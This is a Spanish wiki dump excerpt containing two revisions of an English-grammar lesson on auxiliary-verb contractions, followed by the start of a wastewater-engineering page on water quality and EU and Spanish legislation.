*Sólo examinando la cosa desde este punto de vista se comprende por qué el lenguaje escrito no tiene apenas nada que ver con los sonidos que emite un inglés al leer.

*A fin de obtener la máxima facilidad de ''deslizamiento'', el inglés oral, el inglés ''que se habla'' es pródigo en contracciones. Por lo que se refiere al lenguaje escrito, el uso de contracciones se restringe al máximo.

*La mayor parte, por no decir todas, se forman eliminando una vocal del verbo auxiliar en las contracciones con sentido '''afirmativo''', o la vocal ''o'' de la partícula negativa verbal '''not''' en las que tienen sentido '''negativo'''.

*Entre las consonantes de una contracción donde ''antes'' figuraba una vocal, se coloca un apóstrofe que nos indicará dónde tuvo lugar la elisión. vea un par de ejemplos:

*Contracción afirmativa
*'''I'm''' procede de '''I am'''

*Contracción negativa
*'''Don't''' procede de '''Do not'''

*Ocasiolnamente, al formarse una determinada contracción, se altera la ortografía inglesa de algunas formas verbales, cuando la contracción ha de ser negativa.
*Ejemplo:
*'''Shall not''' forma '''Shan't'''
*'''Will not''' forma '''Won't'''


*El lenguaje hablado de todos los países, suele diferir en mayor o menor grado del lenguaje escrito. Cuando uno escribe, '''cuida''', o procura cuidar el idioma, utilizando aquellas palabras y formas de expresarse más cultas, porque lo que uno escribe '''queda''' y siempre es una ''prueba'' contra el autor. Afortunadamente, las palabras se las lleva el viento y quizás por eso quien más quien menos dejamos deslizar expresiones, modismos que en modo alguno pondríamos sobre papel. Tal vez ésta sea una de las razones del porqué los ingleses, al hablar, no se esfuerzan demasiado y particularmente al utilizar determinados verbos suelen abreviar, acortando el sonido formado por pronombre-verbo o pronombre-verbo-negación...

*En esto consisten las '''contracciones'''.


*Eso de las contracciones es una cuestión de oído y de mucha práctica. Aun cuando le demos una lista completa de contracciones, no se empeñe en aprénderselas de memoria. Pronúncielas, sí, en voz alta, para que se acostumbre a su sonido y así, poco a poco, se habituará a oírlas.


*'''Las contracciones del vebo auxiliar TO HAVE'''

*Normal
*'''I have'''

*Contracción
*'''I've'''

*Normal
*'''You have'''

*Contracción
*'''You've'''

*Normal
*'''He has'''

*Contracción
*'''He's'''

*Normal
*'''She has'''

*Contracción
*'''She's

*Normal 
*'''It has'''

*Contracción
*'''It's'''

*Normal
*'''We have'''

*Contracción
*'''We've'''

*Normal
*'''You have'''

*Contracción
*'''You've'''

*Normal
*'''They have'''

*Contracción
*'''They've'''


*Normal
*'''I had'''

*Contraccion
*'''I'd'''

*Normal
*'''You had'''

*Contracción
*'''You'd'''

*Normal
*'''He had'''

*Contracción
*'''He'd'''

*Normal 
*'''She had'''

*Contracción
*'''She'd'''

*Normal
*'''It had'''

*Contracción
*'''It'd'''

*Normal
*'''We had'''

*Contracción
*'''We'd'''

*Normal
*'''You had'''

*Contracción
*'''You'd'''

*Normal
*'''They had'''

*Contracción
*'''They'd'''


*Normal
*'''I have not'''

*Contracción
*'''I haven't'''

*Normal
*'''You have not'''

*Contracción
*'''You haven't'''

*Normal
*'''He has not'''

*Contracción
*'''He hasn't'''

*Normal
*'''She has not'''

*Contracción
*'''She hasn't'''

*Normal
*'''It has not'''

*Contracción'''
*'''It hasn't'''

*Normal
*'''We have not'''

*Contracción
*'''We haven't'''

*Normal
*'''You have not'''

*Contracción
*'''You haven't'''

*Normal
*'''They have not'''

*Contracción
*'''They haven't'''


*Normal
*'''I had not'''

*Contracción
*'''I hadn't'''

*Normal
*'''You had not'''

*Contracción
*'''You hadn't'''

*Normal
*'''He had not'''

*Contracción
*'''He hadn't'''

*Normal
*'''She had not'''

*Contracción
*She hadn´t'''

*Normal
*'''It had not'''

*Contracción
*'''It hadn't'''

*Normal
*'''We had not'''

*Contracción
*'''We hadn't'''

*Normal
*'''You had not'''

*Contracción
*'''You hadn't'''

*Normal
*'''They had not'''

*Contracción
*'''They hadn't'''


*'''Las contracciones del verbo auxiliar TO BE'''

*Normal
*'''I am'''

*Contracción
*I'am'''

*Normal
*'''You are'''

*Contracción
*'''You're'''

*Normal
*'''He is'''

*Contracción
*'''He's'''

*Normal
*'''She is'''

*Contracción
*'''She's'''

*Normal
*'''It is'''

*Contracción
*'''It's'''

*Normal
*'''We are'''

*Contracción
*'''We're'''

*Normal
*'''You are'''

*Contracción
*'''You're'''

*Normal
*'''They are'''

*Contracción
*'''They're

*Normal
*'''I was not'''

*Contracción
*'''I wasn't'''

*Normal
*'''You were not'''
 
*Contracción
*'''You weren't'''

*Normal
*'''He was not'''

*Contracción
*'''He wasn't'''

*Normal
*'''She was not'''

*Contracción
*'''She wasen't'''

*Normal
*'''It was not'''

*Contracción
*'''It wasn't'''

*Normal
*'''We were not'''

*Contracción
*'''We weren't'''

*Normal
*'''You were not'''

*Contracción
*'''You werent't'''

*Normal
*'''They were not'''

*Contracción
*'''They weren't


*'''Las contracciones del verbo auxiliar TO DO'''

*Normal
*'''I do not'''

*Contracción
*'''I don't'''

*Normal
*'''You do not'''

*Contracción
*'''You don't'''

*Normal
*'''He does not'''

*Contracción
*'''He doesn't'''

*Normal
*'''She does not'''

*Contracción
*'''She doesn't'''

*Normal
*'''It does not'''

*Contracción
*'''It doesn't'''

*Normal
*'''We do not'''

*Contracción
*'''We don't'''

*Normal
*'''You do not'''

*Contracción
*'''You don't'''

*Normal
*'''They do not'''

*Contracción
*'''They don't'''

*Normal
*'''I did not'''

*Contracción
*'''I didn't'''

*Normal
*'''You did not'''

*Contracción
*'''You didn't'''

*Normal
*'''He did not''' 

*Contracción
*'''He didn't'''

*Normal
*'''She did not'''

*Contracción
*'''She didn't'''

*Normal 
*'''It did not'''

*Contracción
*'''It did'nt'''

*Normal
*'''We did not'''

*Contracción
*'''We didn't'''

*Normal
*'''You did not'''

*Contracción
*'''You didn't'''

*Normal
*'''They did not'''

*Contracción
*'''They didn't'''


*'''Las contracciones de los auxiliares SHALL-WILL'''

*Normal
*'''I shall o will'''

*Contracción
*'''I'll'''

*Normal
*'''You shall o will'''

*Contracción
*'''You'll'''

*Normal
*'''He shall o will'''

*Contracción
*'''He'll'''

*Normal
*'''She shall o will'''

*Contracción
*'''She'll'''

*Normal
*'''It shall o will'''

*Contracción
*'''It'll'''

*Normal
'''We shall o will'''

*Contracción
*'''We'll

*Normal
*'''You shall o will'''

*Contracción
*'''You'll'''

*Normal
*'''They shall o will'''

*Contracción
*'''They'll'''

*Normal
*'''I shall not'''

*Contracción
*'''I shan't'''

*Normal 
*'''You shall not'''

*Contracción
*You shan't'''

*Normal
*'''He shall not

*Contracción
*'''He shan't'''

*Normal
*'''She shall not'''

*Contracción
*'''She shan't'''

*Normal
*'''It shall not'''

*Contracción
*'''It shan't'''

*Normal
*'''We shall not'''

*Contracción
*'''We shan't'''

*Normal
*'''You shall not'''

*Contracción
*'''You shan't'''

*Normal
*'''They shall not'''

*Contracción
*'''They shan't'''


*Normal
*'''I will not'''

*Cotracción
*'''I won't'''

*Normal
*'''You will not'''

*Contracción
*'''You won't'''

*Normal
*'''He will not'''

*Contracción
*'''He won't'''

*Normal
*'''She will not'''

*Contracción
*'''She won't'''

*Normal
*'''It will not'''

*Contracción
*'''It won't'''

*Normal
*'''We will not'''

*Contracción
*'''We won't'''

*Normal
*'''You will not'''

*Contracción
*'''You won't'''

*Normal
*'''They will not'''

*Contracción
*'''They won't'''


*'''Las contracciones de los auxiliares SHOULD-WOULD'''

*Normal
*'''I should o would'''

*Contracción
*'''I'd'''

*Normal
*'''You should o would'''

*Contracción
*'''You'd'''

*Normal
*'''He should o would'''

*Contracción
*'''He'd'''

*Normal
*'''She should o would'''

*Contracción
*'''She'd'''

*Normal
*'''It should o would'''

*Contracción
*'''It'd'''

*Normal
*'''We should o would'''

*Contracción
*'''We'd'''

*Normal
*'''You shoul o would'''

*Contracción
*'''You'd'''

*Normal
*'''They should o would'''

*Contracción
*'''They'd'''


*Normal
*'''I should not'''

*Contracción:
*'''I shouldn't'''

*Normal
*'''You should not'''

*Contracción
*'''You shouldn't'''

*Normal
*'''He should not'''

*Contracción
*'''He shouldn't'''

*Normal
*'''She should not'''

*Contracción
*'''She shouldn't'''

*Normal
*'''It should not'''

*Contracción
*'''It shouldn't'''

*Normal
*'''We should not'''

*Contracción
*'''We shouldn't'''

*Normal
*'''You should not'''

*Contracción
*'''You shouldn't'''

*Normal
*'''They should not'''

*Contracción
*'''They shouldn't'''


*Normal
*'''I would not'''

*Contracción
*'''I wouldn't'''

*Normal
*'''You would not'''

*Contracción
*'''You wouldn't'''

*Normal
*'''He would not'''

*Contracción
*'''He wouldn't'''

*Normal
*'''She would not'''

*Contracción
*'''She wouldn't'''

*Normal
*'''It would not'''

*Contracción
*'''It wouldn't'''

*Normal
*'''We would not'''

*Contracción
*'''We wouldn't'''

*Normal
*'''You would not'''

*Contracción
*'''You wouldn't'''

*Normal
*'''They would not'''

*Contracción
*'''They wouldn't'''


*'''Las contracciones del verbo defectivo CAN'''

*Normal
*'''I cannot'''

*Contracción
*'''I can't'''

*Normal
*'''You cannot'''

*Contracción
*'''You can't'''

*Normal
*'''He cannot'''

*Contracción
*'''He can't'''

*Normal
*'''She cannot'''

*Contracción
*'''She can't'''

*Normal
*'''It cannot'''

*Contracción
*'''It can't'''

*Normal
*'''We cannot'''

*Contracción
*'''We can't'''

*Normal
*'''You cannot'''

*Contracción
*'''You can't'''

*Normal
*'''They cannot'''

*Contracción
*'''They can't'''


*Normal
*'''I could not'''

*Contracción
*'''I couldn't'''

*Normal
*'''You could not'''

*Contracción
*'''You couldn't'''

*Normal
*'''He could not'''

*Contracción
*'''He couldn't'''

*Normal
*'''She could not'''

*Contracción
*'''She couldn't'''

*Normal
*'''It could not'''

*Contracción
*'''It couldn't'''

*Normal
*'''We could not'''

*Contracción
*'''We couldn't'''

*Normal
*'''You could not'''

*Contracción
*'''You couldn't'''

*Normal
*'''They could not'''

*Contraación
*'''They couldn't'''


*'''Contracciones diversas'''

*Normal
*'''Let us'''

*Contracción
*'''Let's'''

*Normal
*'''Let them'''

*Contracción
*'''Let'em'''

*Normal
*'''That is'''

*Contracción
*'''That's'''

*Normal
*'''There is'''

*Contracción
*'''There's'''

*Normal
*'''There are'''

*Contracción
*'''There're'''

*Normal
*'''I must not'''

*Contracción
*'''I mustn't'''


*Ningún verbo no auxiliar se contrae.


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>k4w0olucmd3nxgaq9v99ldap14b43ls</sha1>
    </revision>
    <revision>
      <id>429874</id>
      <parentid>429862</parentid>
      <timestamp>2026-08-01T22:09:00Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429874</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="11623" sha1="byb2l92rxgy2mxlrzznxyg0x2ka7z8w" xml:space="preserve">===Corrupciones fonéticas===

*Cuando '''A''' se convierte en '''AN'''

*En realidad la cosa sucedió al revés. Tanto '''a''' como '''an''' son corrupciones fonéticas de '''one''', el número uno, cuya pronunciación aproximada es ''uë'n''... De manera que la cosa empezó por ahí y el lenguaje vivo, con el uso, abrevió hasta transformar '''one'' en '''a''', dejando solo '''an''' en casos particulares.

*El idioma inglés sigue siempre la ley del menor esfuerzo.

==Las contracciones==

*¿Sabe usted lo qué es la ''elisión''? Si de buenas a primeras lo recuerda, afortunado usted. Pero nosotros hemos tenido que recurrir al diccionario. Pues bien; se entiende por '''elidir''' el hecho de ''frustrar'', ''debilitar'', ''desvanecer'' alguna cosa. Esto, aplicado a la ''Gramática'', equivale a suprimir una vocal. En español, por ejemplo, tenemos ''del'', ''al'', procedentes de ''de el'' y ''a el'', respectivamente.

*Los ingleses son muy aficionados a elidir vocales..., particularmente al hablar. 

*Sólo examinando la cosa desde este punto de vista se comprende por qué el lenguaje escrito no tiene apenas nada que ver con los sonidos que emite un inglés al leer.

*A fin de obtener la máxima facilidad de ''deslizamiento'', el inglés oral, el inglés ''que se habla'' es pródigo en contracciones. Por lo que se refiere al lenguaje escrito, el uso de contracciones se restringe al máximo.

*La mayor parte, por no decir todas, se forman eliminando una vocal del verbo auxiliar en las contracciones con sentido '''afirmativo''', o la vocal ''o'' de la partícula negativa verbal '''not''' en las que tienen sentido '''negativo'''.

*Entre las consonantes de una contracción donde ''antes'' figuraba una vocal, se coloca un apóstrofe que nos indicará dónde tuvo lugar la elisión. vea un par de ejemplos:

*Contracción afirmativa
*'''I'm''' procede de '''I am'''

*Contracción negativa
*'''Don't''' procede de '''Do not'''

*Ocasiolnamente, al formarse una determinada contracción, se altera la ortografía inglesa de algunas formas verbales, cuando la contracción ha de ser negativa.
*Ejemplo:
*'''Shall not''' forma '''Shan't'''
*'''Will not''' forma '''Won't'''


*El lenguaje hablado de todos los países, suele diferir en mayor o menor grado del lenguaje escrito. Cuando uno escribe, '''cuida''', o procura cuidar el idioma, utilizando aquellas palabras y formas de expresarse más cultas, porque lo que uno escribe '''queda''' y siempre es una ''prueba'' contra el autor. Afortunadamente, las palabras se las lleva el viento y quizás por eso quien más quien menos dejamos deslizar expresiones, modismos que en modo alguno pondríamos sobre papel. Tal vez ésta sea una de las razones del porqué los ingleses, al hablar, no se esfuerzan demasiado y particularmente al utilizar determinados verbos suelen abreviar, acortando el sonido formado por pronombre-verbo o pronombre-verbo-negación...

*En esto consisten las '''contracciones'''.


*Eso de las contracciones es una cuestión de oído y de mucha práctica. Aun cuando le demos una lista completa de contracciones, no se empeñe en aprénderselas de memoria. Pronúncielas, sí, en voz alta, para que se acostumbre a su sonido y así, poco a poco, se habituará a oírlas.


*'''Las contracciones del vebo auxiliar TO HAVE'''

*Normal
*'''I have'''

*Contracción
*'''I've'''

*Normal
*'''You have'''

*Contracción
*'''You've'''

*Normal
*'''He has'''

*Contracción
*'''He's'''

*Normal
*'''She has'''

*Contracción
*'''She's

*Normal 
*'''It has'''

*Contracción
*'''It's'''

*Normal
*'''We have'''

*Contracción
*'''We've'''

*Normal
*'''You have'''

*Contracción
*'''You've'''

*Normal
*'''They have'''

*Contracción
*'''They've'''


*Normal
*'''I had'''

*Contraccion
*'''I'd'''

*Normal
*'''You had'''

*Contracción
*'''You'd'''

*Normal
*'''He had'''

*Contracción
*'''He'd'''

*Normal 
*'''She had'''

*Contracción
*'''She'd'''

*Normal
*'''It had'''

*Contracción
*'''It'd'''

*Normal
*'''We had'''

*Contracción
*'''We'd'''

*Normal
*'''You had'''

*Contracción
*'''You'd'''

*Normal
*'''They had'''

*Contracción
*'''They'd'''


*Normal
*'''I have not'''

*Contracción
*'''I haven't'''

*Normal
*'''You have not'''

*Contracción
*'''You haven't'''

*Normal
*'''He has not'''

*Contracción
*'''He hasn't'''

*Normal
*'''She has not'''

*Contracción
*'''She hasn't'''

*Normal
*'''It has not'''

*Contracción'''
*'''It hasn't'''

*Normal
*'''We have not'''

*Contracción
*'''We haven't'''

*Normal
*'''You have not'''

*Contracción
*'''You haven't'''

*Normal
*'''They have not'''

*Contracción
*'''They haven't'''


*Normal
*'''I had not'''

*Contracción
*'''I hadn't'''

*Normal
*'''You had not'''

*Contracción
*'''You hadn't'''

*Normal
*'''He had not'''

*Contracción
*'''He hadn't'''

*Normal
*'''She had not'''

*Contracción
*She hadn´t'''

*Normal
*'''It had not'''

*Contracción
*'''It hadn't'''

*Normal
*'''We had not'''

*Contracción
*'''We hadn't'''

*Normal
*'''You had not'''

*Contracción
*'''You hadn't'''

*Normal
*'''They had not'''

*Contracción
*'''They hadn't'''


*'''Las contracciones del verbo auxiliar TO BE'''

*Normal
*'''I am'''

*Contracción
*I'am'''

*Normal
*'''You are'''

*Contracción
*'''You're'''

*Normal
*'''He is'''

*Contracción
*'''He's'''

*Normal
*'''She is'''

*Contracción
*'''She's'''

*Normal
*'''It is'''

*Contracción
*'''It's'''

*Normal
*'''We are'''

*Contracción
*'''We're'''

*Normal
*'''You are'''

*Contracción
*'''You're'''

*Normal
*'''They are'''

*Contracción
*'''They're

*Normal
*'''I was not'''

*Contracción
*'''I wasn't'''

*Normal
*'''You were not'''
 
*Contracción
*'''You weren't'''

*Normal
*'''He was not'''

*Contracción
*'''He wasn't'''

*Normal
*'''She was not'''

*Contracción
*'''She wasen't'''

*Normal
*'''It was not'''

*Contracción
*'''It wasn't'''

*Normal
*'''We were not'''

*Contracción
*'''We weren't'''

*Normal
*'''You were not'''

*Contracción
*'''You werent't'''

*Normal
*'''They were not'''

*Contracción
*'''They weren't


*'''Las contracciones del verbo auxiliar TO DO'''

*Normal
*'''I do not'''

*Contracción
*'''I don't'''

*Normal
*'''You do not'''

*Contracción
*'''You don't'''

*Normal
*'''He does not'''

*Contracción
*'''He doesn't'''

*Normal
*'''She does not'''

*Contracción
*'''She doesn't'''

*Normal
*'''It does not'''

*Contracción
*'''It doesn't'''

*Normal
*'''We do not'''

*Contracción
*'''We don't'''

*Normal
*'''You do not'''

*Contracción
*'''You don't'''

*Normal
*'''They do not'''

*Contracción
*'''They don't'''

*Normal
*'''I did not'''

*Contracción
*'''I didn't'''

*Normal
*'''You did not'''

*Contracción
*'''You didn't'''

*Normal
*'''He did not''' 

*Contracción
*'''He didn't'''

*Normal
*'''She did not'''

*Contracción
*'''She didn't'''

*Normal 
*'''It did not'''

*Contracción
*'''It did'nt'''

*Normal
*'''We did not'''

*Contracción
*'''We didn't'''

*Normal
*'''You did not'''

*Contracción
*'''You didn't'''

*Normal
*'''They did not'''

*Contracción
*'''They didn't'''


*'''Las contracciones de los auxiliares SHALL-WILL'''

*Normal
*'''I shall o will'''

*Contracción
*'''I'll'''

*Normal
*'''You shall o will'''

*Contracción
*'''You'll'''

*Normal
*'''He shall o will'''

*Contracción
*'''He'll'''

*Normal
*'''She shall o will'''

*Contracción
*'''She'll'''

*Normal
*'''It shall o will'''

*Contracción
*'''It'll'''

*Normal
'''We shall o will'''

*Contracción
*'''We'll

*Normal
*'''You shall o will'''

*Contracción
*'''You'll'''

*Normal
*'''They shall o will'''

*Contracción
*'''They'll'''

*Normal
*'''I shall not'''

*Contracción
*'''I shan't'''

*Normal 
*'''You shall not'''

*Contracción
*You shan't'''

*Normal
*'''He shall not

*Contracción
*'''He shan't'''

*Normal
*'''She shall not'''

*Contracción
*'''She shan't'''

*Normal
*'''It shall not'''

*Contracción
*'''It shan't'''

*Normal
*'''We shall not'''

*Contracción
*'''We shan't'''

*Normal
*'''You shall not'''

*Contracción
*'''You shan't'''

*Normal
*'''They shall not'''

*Contracción
*'''They shan't'''


*Normal
*'''I will not'''

*Cotracción
*'''I won't'''

*Normal
*'''You will not'''

*Contracción
*'''You won't'''

*Normal
*'''He will not'''

*Contracción
*'''He won't'''

*Normal
*'''She will not'''

*Contracción
*'''She won't'''

*Normal
*'''It will not'''

*Contracción
*'''It won't'''

*Normal
*'''We will not'''

*Contracción
*'''We won't'''

*Normal
*'''You will not'''

*Contracción
*'''You won't'''

*Normal
*'''They will not'''

*Contracción
*'''They won't'''


*'''Las contracciones de los auxiliares SHOULD-WOULD'''

*Normal
*'''I should o would'''

*Contracción
*'''I'd'''

*Normal
*'''You should o would'''

*Contracción
*'''You'd'''

*Normal
*'''He should o would'''

*Contracción
*'''He'd'''

*Normal
*'''She should o would'''

*Contracción
*'''She'd'''

*Normal
*'''It should o would'''

*Contracción
*'''It'd'''

*Normal
*'''We should o would'''

*Contracción
*'''We'd'''

*Normal
*'''You shoul o would'''

*Contracción
*'''You'd'''

*Normal
*'''They should o would'''

*Contracción
*'''They'd'''


*Normal
*'''I should not'''

*Contracción:
*'''I shouldn't'''

*Normal
*'''You should not'''

*Contracción
*'''You shouldn't'''

*Normal
*'''He should not'''

*Contracción
*'''He shouldn't'''

*Normal
*'''She should not'''

*Contracción
*'''She shouldn't'''

*Normal
*'''It should not'''

*Contracción
*'''It shouldn't'''

*Normal
*'''We should not'''

*Contracción
*'''We shouldn't'''

*Normal
*'''You should not'''

*Contracción
*'''You shouldn't'''

*Normal
*'''They should not'''

*Contracción
*'''They shouldn't'''


*Normal
*'''I would not'''

*Contracción
*'''I wouldn't'''

*Normal
*'''You would not'''

*Contracción
*'''You wouldn't'''

*Normal
*'''He would not'''

*Contracción
*'''He wouldn't'''

*Normal
*'''She would not'''

*Contracción
*'''She wouldn't'''

*Normal
*'''It would not'''

*Contracción
*'''It wouldn't'''

*Normal
*'''We would not'''

*Contracción
*'''We wouldn't'''

*Normal
*'''You would not'''

*Contracción
*'''You wouldn't'''

*Normal
*'''They would not'''

*Contracción
*'''They wouldn't'''


*'''Las contracciones del verbo defectivo CAN'''

*Normal
*'''I cannot'''

*Contracción
*'''I can't'''

*Normal
*'''You cannot'''

*Contracción
*'''You can't'''

*Normal
*'''He cannot'''

*Contracción
*'''He can't'''

*Normal
*'''She cannot'''

*Contracción
*'''She can't'''

*Normal
*'''It cannot'''

*Contracción
*'''It can't'''

*Normal
*'''We cannot'''

*Contracción
*'''We can't'''

*Normal
*'''You cannot'''

*Contracción
*'''You can't'''

*Normal
*'''They cannot'''

*Contracción
*'''They can't'''


*Normal
*'''I could not'''

*Contracción
*'''I couldn't'''

*Normal
*'''You could not'''

*Contracción
*'''You couldn't'''

*Normal
*'''He could not'''

*Contracción
*'''He couldn't'''

*Normal
*'''She could not'''

*Contracción
*'''She couldn't'''

*Normal
*'''It could not'''

*Contracción
*'''It couldn't'''

*Normal
*'''We could not'''

*Contracción
*'''We couldn't'''

*Normal
*'''You could not'''

*Contracción
*'''You couldn't'''

*Normal
*'''They could not'''

*Contraación
*'''They couldn't'''


*'''Contracciones diversas'''

*Normal
*'''Let us'''

*Contracción
*'''Let's'''

*Normal
*'''Let them'''

*Contracción
*'''Let'em'''

*Normal
*'''That is'''

*Contracción
*'''That's'''

*Normal
*'''There is'''

*Contracción
*'''There's'''

*Normal
*'''There are'''

*Contracción
*'''There're'''

*Normal
*'''I must not'''

*Contracción
*'''I mustn't'''


*Ningún verbo no auxiliar se contrae.


{{AutoCat}}</text>
      <sha1>byb2l92rxgy2mxlrzznxyg0x2ka7z8w</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/La calidad del agua. Marco jurídico</title>
    <ns>0</ns>
    <id>12663</id>
    <revision>
      <id>429957</id>
      <parentid>280100</parentid>
      <timestamp>2026-08-02T09:27:44Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429957</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="16093" sha1="b6mffcbfs4zacjbp4qpjvfk6tz0ful2" xml:space="preserve">{{TOC|right}}
===Introducción=== 
{{:Ingeniería de aguas residuales/Introducción}}

===El concepto de calidad en el agua=== 
La calidad del agua es una variable fundamental del medio hídrico, tanto
en lo que respecta a la caracterización ambiental como desde la perspectiva de
la planificación hidrológica. Este término puede responder a varias definiciones,
que se han visto reflejadas en la legislación a lo largo del tiempo.

De forma tradicional se ha entendido por calidad de un agua el conjunto
de características físicas, químicas y biológicas que hacen que el agua sea
apropiada para un uso determinado. Esta definición ha dado lugar a diversa
normativa, que asegura la calidad suficiente para garantizar determinados
usos, pero que no recoge los efectos y consecuencias que la actividad humana
tiene sobre las aguas naturales.

La incidencia humana sobre las aguas se ejerce fundamentalmente a
través del vertido a sistemas naturales de efluentes residuales. Se hace por
tanto necesario establecer los criterios de calidad que han de reunir las aguas
residuales antes de ser evacuadas en un sistema receptor.

La consideración de los criterios de calidad de los vertidos resulta
insuficiente como garantía de conservación de los recursos hídricos, de manera
que éstos se mantengan en condiciones tales que aseguren su disponibilidad
en un futuro en cantidad y calidad adecuada. Esta garantía viene dada por el
mantenimiento de las condiciones ambientales naturales que permitan
preservar el equilibrio autorregulador de los ecosistemas acuáticos.

De aquí surge la necesidad de definir un nuevo concepto de calidad que
se desvincule totalmente de los usos, y que tenga como punto de referencia el
propio recurso en sí y no los fines a los que se destina.

Esta sería la CALIDAD INTRÍNSECA O NATURAL DE LAS AGUAS, que
se define por las condiciones fisicoquímicas y biológicas de un medio natural
que no ha sufrido intervención humana.

===Normativa de calidad de aguas en función del uso=== 
En base a la vinculación entre calidad de aguas y sus usos, se
establecen estándares y criterios de calidad específicos que definen los
requisitos que ha de reunir un determinado agua para un fin concreto,
requisitos que, generalmente, vienen expresados como rangos cuantitativos de
determinadas características fisicoquímicas y biológicas.

Una vez establecidos estos criterios de calidad en función del uso, se
promulgan leyes y se desarrollan programas orientados a garantizar el
cumplimiento de dichos criterios. Así, la normativa española y europea en
materia de calidad de aguas se recoge en la siguiente tabla:

'''NORMATIVA EUROPEA NORMATIVA ESPAÑOLA''' 

'''Abastecimiento''' 
'''humano (captación) ''' Directiva 75/440/CEE.
R.D. 927/1988 (Anexo I del
R.A.P.A. y P.H.*).
Orden 11/05/1988 y Orden
15/10/1990.

'''Abastecimiento''' 
'''humano (agua''' 
'''potable)''' 
Directiva 80/778/CEE
Directiva 98/83/CE
R.D. 1423/82, R.T.S.** para
aguas potables

'''Baño (uso recreativo)''' 

Directiva 76/160/CEE R.D. 927/1988 (Anexo II del
R.A.P.A. y P.H.*).

'''Agua para la cría de''' 
'''moluscos ''' Directiva 79/23/CEE R.D. 927/1988 (Anexo IV del
R.A.P.A. y P.H.*).

'''Agua para la vida''' 
'''piscícola ''' Directiva 78/659/CEE R.D. 927/1988 (Anexo III del
R.A.P.A. y P.H.*).

* R.A.P.A. y P.H.: Reglamento para la Administración Pública del Agua y de la Planificación Hidrológica.
** R.T.S.: Reglamento Técnico Sanitario


Como ejemplo de este tipo de normativa, se recoge a continuación un
breve desarrollo de lo dispuesto en la Directiva 75/440/CEE.

'''Directiva 75/440/CEE: relativa a la calidad requerida para las aguas superficiales''' 
'''destinadas a la producción de agua potable en los estados miembros''' 
'''Consideraciones generales.''' 

* Se trata de una norma con finalidad ambiental (no sanitaria).

* Situación de partida (ideal): todos los abastecimientos de aguas a poblaciones poseen un tratamiento adecuado para potabilización de as aguas servidas.

* Se pretende que las condiciones aceptables para un tramo de río inmediatamente aguas arriba de una derivación para abastecimiento no se vean perturbadas.

'''Clasificación de las aguas superficiales.''' 

* A1: sólo precisan tratamiento físico simple y desinfección.

* A2: tratamiento físico normal, tratamiento químico y desinfección.

* A3: tratamiento físico y químico intensivos y desinfección.

* Se fijan dos series de límites. Unos imperativos y otros niveles guía.

'''Gestión de las aguas.''' 

* Para cada punto de toma de muestras se establecerá en nivel de calidad, según el tipo de tratamiento.

* Gestión: medidas para que las aguas se ajusten a valores definidos. Paralelamente, se debe garantizar la mejora continua del medio.

'''Control de calidad.''' 

* Toma periódica de muestras y análisis.

* Es conforme la calidad:
** si el 95% de las muestras son conformes con sus límites en las columnas I
** si el 90% de las muestras conformes con sus límites en las columnas I y G
** si el 5 ó el 10% no conforme no supera en más del 50% los límites y no hay peligro para la salud pública

===Normativa en función de los efectos de la actividad humana=== 
La consideración de los efectos de la actividad humana en las aguas
naturales se puede contemplar desde diferentes puntos de vista, en función
del medio que recibe el efluente (aguas subterráneas, continentales o litorales)
y del origen de los vertidos (directos e indirectos).

Se establecen niveles de calidad para la evacuación de vertidos en
sistemas acuáticos naturales, lo cual supone un avance con respecto al
concepto de calidad tradicional, ligado al uso, y constituyen una medida de
protección para estos sistemas.

Estos criterios de calidad se reflejan en la siguiente normativa.

{| border=1 

! !!Normativa europea!!Normativa española
|-----------------
|'''Vertidos a aguas'''
'''subterráneas '''
||Directiva 80/68/CEE.
||Ley de Aguas.

R.D. 849/1986 Reglamento del D.P.H.

R.D. 1315/92 de 30 de octubre
|-----------------
|'''Vertidos a aguas'''
'''litorales'''
||Directiva 76/464/CEE.

Directiva 91/271/CEE.

Directiva 91/676/CEE.
||Ley 22/1988 de Costas.

R.D. 1471/1.989.

R.D. 261/96

Decreto 141/996 (Andalucía).
|-----------------
|'''Vertidos a aguas'''
'''continentales'''
||Directiva 76/464/CEE.

Directiva 91/271/CEE.

Directiva 91/676/CEE.
||Ley de Aguas.

R.D. 849/1986 Reglamento del D.P.H.

R.D. 1315/92 de 30 de octubre.
|}


En esta normativa se tratan diferentes asuntos relacionados con la
calidad de las aguas, como es la protección contra la contaminación causada
por sustancias peligrosas, el tratamiento y vertido de aguas residuales urbanas
e industriales o la contaminación por nitratos a partir de fuentes agrícolas.


A continuación se presentan, de forma esquemática, el contenido de las
Directivas que se han mencionado.

'''Directiva 76/464/CEE: relativa a la contaminación causada por determinadas''' 
'''sustancias peligrosas vertidas desde fuentes terrestres en el medio acuático.''' 

'''Consideraciones generales.''' 

* Aplicable a aguas continentales y costeras.

* El objeto es regular los vertidos, para lo que se exige autorización administrativa.

'''Clasificación de las sustancias.''' 

* Lista I: sustancias que, por su toxicidad, persistencia o bioacumulación deben ser reguladas con mayor rigor.

* Lista II: sustancias perjudiciales, de menor peligrosidad, cuyo vertido pueda ser considerado de efectos limitados según las características de las aguas receptoras.

'''Modalidades de reglamentación.''' 

* Normas de emisión: se fijan valores que no deben ser superados en el efluente
* Objetivos de calidad: se fijan concentraciones máximas en las aguas receptoras.

'''Gestión de los vertidos.''' 

* Vertidos que contengan sustancias de la Lista I. Se pretende la eliminación de la contaminación producida por estas sustancias y se establecen las siguientes obligaciones:
** Autorización de los vertidos. Se fijarán normas de emisión.
** Inventario de vertidos.
** Redes de vigilancia.

* Vertidos que contengan sustancias de la Lista II. Se pretende reducir la contaminación inducida por el vertido de estas sustancias se establecen las siguientes obligaciones:
** Autorización de los vertidos. Se fijarán normas de emisión.
** Programas de reducción de la contaminación. Objetivos de calidad.
** Notificación a la Comisión de programas y resultados.

'''Directiva 80/68/CEE: relativa a la protección de las aguas subterráneas contra la''' 
'''contaminación causada por determinadas sustancias peligrosas.''' 


'''Directiva 80/68/CEE: relativa a la protección de las aguas subterráneas contra la''' 
